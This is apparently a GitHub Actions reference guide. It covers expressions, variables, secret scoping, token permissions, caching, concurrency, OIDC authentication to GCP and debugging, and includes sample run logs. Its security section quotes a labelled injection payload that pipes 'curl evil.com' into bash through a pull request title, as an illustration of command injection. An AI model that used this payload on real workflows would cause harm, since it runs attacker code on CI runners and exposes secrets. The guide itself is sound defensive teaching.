=== String functions ===contains('Hello World', 'World'): truestartsWith('main', 'mai'): trueendsWith('feature/abc', 'abc'): trueformat('{0}-{1}', 'hello', 'world'): hello-world=== Type coercion ===Null to string: '' (empty string)Boolean to string: 'true' (literal 'true')GOTCHA: In expressions, 0 and '' are falsy.Expression evaluation happens BEFORE shell execution.
expressions | status functions
Function
Behavior
Implicit in if:?
success()
True if no previous step failed or was cancelled
Yes — every if: implicitly starts with success() && unless you use always(), failure(), or cancelled()
failure()
True if any previous step failed
No
cancelled()
True if the workflow was cancelled
No
always()
Always true — step runs even after failure or cancellation
No
expressions | type coercion pitfalls
Expression coercion changes meaning once values cross into shell runtime
A value that is falsey in the Actions expression engine may become a non-empty
string in the shell, where the truth rules are different.
Expression types are not shell types
In expressions, null coerces to '', false coerces to 'false' (a
truthy string in shell), and 0 coerces to '0' (also truthy in shell).
Compare expression values explicitly before handing them to the shell
Write conditions such as if: ${{ inputs.dry_run == true }} instead of
relying on implicit truthiness. Treat shell runtime and expression runtime as
separate evaluation systems.
Environment variables cascade from workflow → job → step, with narrower scopes overriding broader ones.
env: LEVEL: "workflow" # Available to all jobs and stepsjobs: demo: env: LEVEL: "job" # Overrides workflow-level for this job steps: - env: LEVEL: "step" # Overrides job-level for this step run: echo "$LEVEL" # Prints: step
variables | GITHUB_OUTPUT
Use this pattern when passing computed values from one step to another, or from a job to downstream jobs. The operational goal is to replace the deprecated ::set-output workflow command.
- name: Set version id: set_version run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"- name: Use version run: echo "Version is ${{ steps.set_version.outputs.version }}"
Workflow run output showing GITHUB_OUTPUT and GITHUB_ENV data flow:
Wrote version=1.2.3 to GITHUB_OUTPUTWrote ts=20260412-172939 to GITHUB_OUTPUTWrote BUILD_TAG to GITHUB_ENVBUILD_TAG from GITHUB_ENV: build-20260412=== Data received from producer job ===Version: 1.2.3Timestamp: 20260412-172939Producer result: successKey point: GITHUB_ENV does NOT cross job boundaries.Only values declared in jobs.<id>.outputs and writtento GITHUB_OUTPUT are available via needs.<id>.outputs.
variables | GITHUB_STEP_SUMMARY
Use this pattern when generating human-readable reports (test results, build metrics, deployment status) visible on the workflow run page. The operational goal is to write GitHub-flavored markdown to the job summary section.
Maximum size: 1 MiB per step, 1 MiB total per job. Multiple steps can append to the same summary.
variables | default environment variables
Variable
Value
GITHUB_REPOSITORY
owner/repo
GITHUB_SHA
Full commit SHA
GITHUB_REF
refs/heads/branch or refs/tags/tag
GITHUB_REF_NAME
Branch or tag name without refs/ prefix
GITHUB_WORKSPACE
Checkout directory path
GITHUB_RUN_ID
Unique numeric run identifier
GITHUB_RUN_NUMBER
Sequential run counter for the workflow
GITHUB_RUN_ATTEMPT
Re-run attempt number (starts at 1)
GITHUB_ACTOR
Username that triggered the run
GITHUB_EVENT_NAME
Event that triggered the run
RUNNER_OS
Linux, Windows, or macOS
RUNNER_ARCH
X64, ARM, or ARM64
How secrets and permissions should be scoped
secrets | types and scoping
Scope
Set via
Precedence
Use case
Repository
Settings → Secrets → Actions
Base level
Repo-specific credentials
Environment
Settings → Environments → Secrets
Overrides repo
Per-environment credentials (staging vs production)
Organization
Org Settings → Secrets
Lowest (overridden by repo/env)
Shared credentials across repos
Secrets are encrypted at rest and masked in logs. They are not available to fork PRs (with pull_request trigger) unless the repo admin explicitly enables it.
secrets | accessing secrets safely
steps: - name: Use a secret safely env: DB_PASSWORD: ${{ secrets.DB_PASSWORD }} run: | echo "Connecting to database..." psql "postgresql://user:${DB_PASSWORD}@host/db"
Secrets should enter commands through controlled bindings, not YAML interpolation
Template expansion happens before the shell starts, which makes secret-bearing
command lines easier to leak in logs, debug output, and process listings.
Never interpolate secrets directly in shell commands
# DANGEROUS — secrets in command line are visible in process listingsrun: curl -H "Authorization: Bearer ${{ secrets.TOKEN }}" https://api.example.com
The GITHUB_TOKEN is automatically created for each workflow run. It authenticates API calls to the GitHub API for the repository.
permissions | permissions block
Declare explicit permissions in every workflow. The goal is to scope GITHUB_TOKEN to only the capabilities the workflow actually needs instead of inheriting a broader default token surface.
When you set permissions: at the workflow or job level, all unspecified scopes default to none. This is the desired behavior — it enforces least privilege.
Scope
Read
Write
Common use case
contents
Checkout code
Push commits, create releases
Most workflows
pull-requests
Read PR data
Comment, label, approve
CI status reporting
issues
Read issues
Create, comment, label
Automation bots
id-token
—
Request OIDC JWT
Cloud authentication (GCP, AWS, Azure)
packages
Pull packages
Push packages
Container registry
actions
Read workflow data
Cancel/re-run workflows
Orchestration
deployments
Read deployments
Create deployments
CD pipelines
statuses
Read commit statuses
Create commit statuses
External CI integration
security-events
Read alerts
Upload SARIF
CodeQL, dependency scanning
Token scope should be declared, not inherited
GITHUB_TOKEN is part of the workflow attack surface. Least privilege only
exists if the workflow states it explicitly.
Implicit permissions are over-broad
Without a permissions: block, GITHUB_TOKEN receives the repository’s
default permissions. In private repos that can mean read/write access across
many scopes. A compromised action could push code, delete branches, or modify
issues.
Set explicit permissions on every workflow
Add permissions: at the workflow level. Start with contents: read and add
only what the workflow actually needs. Re-review permissions whenever adding
new actions.
When to use artifacts and when to use caching
artifacts | upload and download
Use this pattern when passing build outputs between jobs, storing test reports, retaining deployment manifests.
Workflow YAML breakdown
actions/upload-artifact@v4: uploads files from the runner to GitHub’s artifact storage
name: artifact name — must be unique within the run
path: file or directory to upload (glob patterns supported)
retention-days: how long to keep the artifact (default: 90, max: 400)
actions/download-artifact@v4: downloads artifacts in a subsequent job
Omit name: in download to get all artifacts at once
Workflow run output (run #1, triggered by push to main):
Generated artifacts in dist/ and reports/Artifact build-output.zip successfully finalized. Artifact ID 6394260342Artifact test-reports.zip successfully finalized. Artifact ID 6394260393=== Downloaded artifacts ===manifest.json validation_query.sqlManifest contents:{"version": "1.0.0", "build": "1"}
Key
Default
Description
name
—
Artifact name (must be unique within the run)
path
—
File/directory to upload (glob patterns supported)
retention-days
90
Days to retain the artifact (max: 400)
if-no-files-found
warn
Behavior when no files match: warn, error, ignore
compression-level
6
zlib compression level (0=none, 9=max)
overwrite
false
Whether to overwrite an existing artifact with the same name
caching | actions/cache
Use this pattern when avoiding repeated downloads of dependencies (pip, npm, Docker layers) across runs. The operational goal is to store and restore a directory tree keyed by a hash of a lockfile.
Cache pip packages keyed by requirements.txt hash.
Workflow run output (run #1 — first run, cache miss):
Cache not found for input keys: pip-Linux-be654b93dbe1ff76cb7cbd515b434dad18ea380de7eb66ca7ef0e5d690cbce5c, pip-Linux-=== Cache result ===Cache hit:Cache miss — packages will be downloaded and cached after the job.Post job cleanup:Cache saved with key: pip-Linux-be654b93dbe1ff76cb7cbd515b434dad18ea380de7eb66ca7ef0e5d690cbce5c
Key
Default
Description
path
—
Directory to cache (e.g., ~/.cache/pip, node_modules)
key
—
Exact cache key — typically includes hashFiles() of a lockfile
restore-keys
—
Fallback key prefixes for partial cache matches
save-always
false
Save the cache even if the job fails
lookup-only
false
Check for cache existence without restoring
Caches trade speed for trust and freshness
A cache hit is only beneficial when the contents still match the dependency
state and can be trusted as an input to the build.
Stale or poisoned caches can spread bad state across runs
Caches are scoped to the branch and its ancestors. A poisoned cache on main
can affect many branches, and stale entries persist until eviction or key
invalidation.
Use defensive caching patterns
Include hashFiles() of the lockfile in the key so dependency changes invalidate the cache.
Use restore-keys only as controlled fallbacks, not as a substitute for exact invalidation.
Pin actions/cache to a full SHA so the cache mechanism itself is not a mutable dependency.
How concurrency rules control overlapping runs
concurrency | cancel-in-progress
Use concurrency cancellation when a newer push makes the current in-progress run obsolete and there is no value in finishing the older run.
This creates a concurrency group per workflow + branch. If a new run starts in the same group, the previous run is cancelled.
Workflow run output (run #1, no cancellation — single push):
=== Concurrency demo ===Concurrency group: demo-refs/heads/maincancel-in-progress: trueIf another push happens to this branch while this run is active,this run will be cancelled and replaced by the new one.Simulating a 30-second deployment...Deploy step 1/6...Deploy step 2/6...Deploy step 3/6...Deploy step 4/6...Deploy step 5/6...Deploy step 6/6...Deployment simulation complete.
concurrency | serialization
For deployments, use concurrency without cancel-in-progress to serialize runs (queue instead of cancel):
Use this pattern when gating deployments behind human approval, wait timers, or branch restrictions. The operational goal is to prevent accidental production deployments and enforce deployment policies.
Deploy through staging (no protection) and production (required reviewer).
Which security rules prevent common workflow compromise
security | pinning actions to SHA
Action references are part of the workflow supply chain
Every uses: line is code execution. Treat action references like production
dependencies, not like casual version labels.
Mutable tags are a supply-chain risk
uses: actions/checkout@v4 resolves to whatever commit v4 currently points
to. If the action maintainer’s account is compromised, v4 can be repointed
to malicious code. This has happened in real attacks.
The SHA is immutable. Add the version as a comment for readability and use
automation such as Dependabot or Renovate to keep pins current.
security | fork PR trust boundaries
Trigger
Code source
Secrets available?
Write permissions?
pull_request (same repo)
Merge commit
Yes
Per permissions:
pull_request (fork)
Merge commit
No
No
pull_request_target
Base branch
Yes
Yes
workflow_run
Default branch
Yes
Yes
security | expression injection
Untrusted event data becomes executable if you template it into shell syntax
Pull request titles, comments, branch names, and similar event fields should be
treated as attacker-controlled input whenever they come from external actors.
Interpolating untrusted values in shell commands is command injection
# DANGEROUS — PR title could contain: '; curl evil.com | bash; echo 'run: echo "PR title: ${{ github.event.pull_request.title }}"
The expression is substituted before bash runs, so shell metacharacters in
the PR title execute as commands.
$PR_TITLE is treated as a single shell value instead of being parsed as
code injected into the command template.
security | OIDC fundamentals
What problem OIDC solves: Traditional cloud authentication requires storing long-lived service account keys as GitHub secrets. If a secret leaks (in logs, to a fork, via a compromised action), the attacker has permanent access until the key is rotated.
How OIDC works:
The workflow requests an OIDC token from GitHub (id-token: write permission).
GitHub mints a short-lived JWT containing claims about the workflow (repo, branch, actor, environment).
The cloud provider (GCP, AWS, Azure) validates the JWT against its trust policy and issues a short-lived access token.
No long-lived secrets are stored anywhere.
Set up OIDC between GitHub and GCP
Create a Workload Identity Pool and OIDC provider in GCP.
# Create the Workload Identity Poolgcloud iam workload-identity-pools create "github-actions" \ --project="bq-wh-nb" \ --location="global" \ --display-name="GitHub Actions"
Created workload identity pool [github-actions].
Create the OIDC provider with attribute mapping and owner condition.
Workflow run output (run #3, triggered by workflow_dispatch):
=== OIDC Authentication ===Project: bq-wh-nbAccount: ***OIDC means no long-lived service account keys.GitHub mints a short-lived JWT, GCP exchanges it for a token.=== BigQuery dry-run ===Running a dry-run query to validate SQL without cost...Query successfully validated. Assuming the tables are not modified,running this query will process 0 bytes of data.=== BigQuery live query ===Waiting on bqjob_r5215c3ef6e9cbc1a_0000019d82c3a3be_1 ... (0s) Current status: DONE[ {"row_count": "29335", "size_mb": "1.73", "table_id": "trading_calendar"}, {"row_count": "212", "size_mb": "0.0", "table_id": "dim_country"}, {"row_count": "169", "size_mb": "0.03", "table_id": "signals_daily"}, {"row_count": "169", "size_mb": "0.03", "table_id": "signals_quarterly"}, {"row_count": "169", "size_mb": "0.27", "table_id": "index_dim"}]
How reusable building blocks in the Actions ecosystem differ
actions | reusable workflows vs composite vs JS/Docker
Type
Defined in
Caller syntax
Runs on
Inputs
Can access secrets?
Reusable workflow
.github/workflows/*.yml with on: workflow_call
jobs.<id>.uses:
Separate runner (new VM)
with: + secrets:
Yes (must be passed)
Composite action
action.yml with runs.using: composite
steps[].uses:
Same runner as caller
with:
Yes (via env)
JavaScript action
action.yml with runs.using: node20
steps[].uses:
Same runner as caller
with:
Yes (via env)
Docker action
action.yml with runs.using: docker
steps[].uses:
Same runner (container)
with:
Yes (via env)
Use a reusable workflow when whole job graphs or pipeline templates must be shared across repositories or standardized across teams.
Use a composite action when you need to reuse a fixed sequence of same-runner steps such as setup, build, or test orchestration.
Use a JavaScript or Docker action when the logic needs its own packaged runtime, dependencies, or container image.
actions | action.yml metadata basics
Every action has an action.yml (or action.yaml) that declares its inputs, outputs, and execution method.
Workflow run logs are available via the GitHub UI (Actions tab) and the CLI. Step-level logs are grouped and expandable.
# List recent runsgh run list -R alp78/git-lab --limit 10# View a specific run summarygh run view 24312297713 -R alp78/git-lab# View full step-level logsgh run view 24312297713 -R alp78/git-lab --log# View a specific job's logsgh run view --job=70983934563 -R alp78/git-lab --log
debugging | enabling debug logging
Method 1 — Re-run with debug: In the GitHub UI, click “Re-run jobs” and check “Enable debug logging.” This sets ACTIONS_RUNNER_DEBUG=true and ACTIONS_STEP_DEBUG=true.
Method 2 — Repository secret: Set a secret named ACTIONS_STEP_DEBUG with value true. This enables debug logging for all runs.
debugging | workflow commands and annotations
- name: Annotations and grouping run: | echo "::notice::This is a notice annotation" echo "::warning::This is a warning annotation" echo "::error::This is an error annotation" echo "::group::Grouped output section" echo "Line 1 inside group" echo "Line 2 inside group" echo "::endgroup::"
Annotations appear as decorations on the workflow run summary and in PR checks.
Context inspection is useful for debugging, but some contexts reveal more than
values alone. Even secret names can disclose infrastructure details and attack
surface.
Never dump the secrets context
echo '${{ toJSON(secrets) }}' logs all secret names. Values are masked, but
the keys still leak sensitive operational information.
Dump only non-sensitive contexts
Safe to dump: github, runner, env, vars, matrix, inputs,
needs, steps. Never dump: secrets.
debugging | local testing with act
act runs GitHub Actions workflows locally using Docker. It is useful for rapid iteration but has significant limitations:
Feature
act
Real GitHub
Service containers
Limited
Full support
OIDC tokens
Not available
Available
Secrets
From .secrets file
Encrypted in GitHub
GITHUB_TOKEN
Personal access token
Auto-generated
Runner images
Simplified Docker images
Full VM images
Caching
Not supported
actions/cache works
workflow_run
Not supported
Works
Use act for quick syntax checks and basic step validation. Always validate critical workflows on real GitHub-hosted runners.
How the core patterns apply to data-engineering workflows
data-engineering | BigQuery OIDC auth
The OIDC workflow in the Security Fundamentals section demonstrates end-to-end GCP authentication from GitHub Actions, including BigQuery dry-run validation and live queries against the stoxx_bronze dataset. This is the preferred pattern for all data-engineering workflows that interact with GCP — no long-lived service account keys needed.
data-engineering | service containers for databases
The service container demo in the Jobs section shows how to run PostgreSQL as a sidecar for integration testing. This pattern applies directly to data-engineering scenarios:
Migration testing: Run schema migrations against a real database, verify with pg_isready health checks
SQL validation: Execute validation queries against test data to catch errors before deploying to production
Pipeline testing: Run pipeline code that inserts and queries data, verifying end-to-end correctness
data-engineering | artifact patterns
Common data-engineering artifacts:
Artifact type
Upload from
Download in
Retention
Test reports
CI job
Deploy job (gatekeeping)
30 days
dbt manifest
dbt compile job
Documentation job
5 days
SQL migration plan
plan job
apply job (approval gate)
5 days
Coverage reports
Test job
Summary/reporting
30 days
Cost estimation
BQ dry-run job
PR comment job
5 days
Common failures and the fixes they require
Symptom
Cause
Fix
Workflow not triggered
Path filter excludes all changed files
Check paths: filter matches your changes
pull_request skipped on fork PR
Fork PRs have limited permissions
Use pull_request_target for trusted operations only
Secrets empty in fork PR
Security: secrets not exposed to forks
Pass non-sensitive config via vars instead
GITHUB_TOKEN 403 error
Missing permission scope
Add the required scope to permissions: block
Cache miss every run
Key includes a value that changes each run (e.g., timestamp)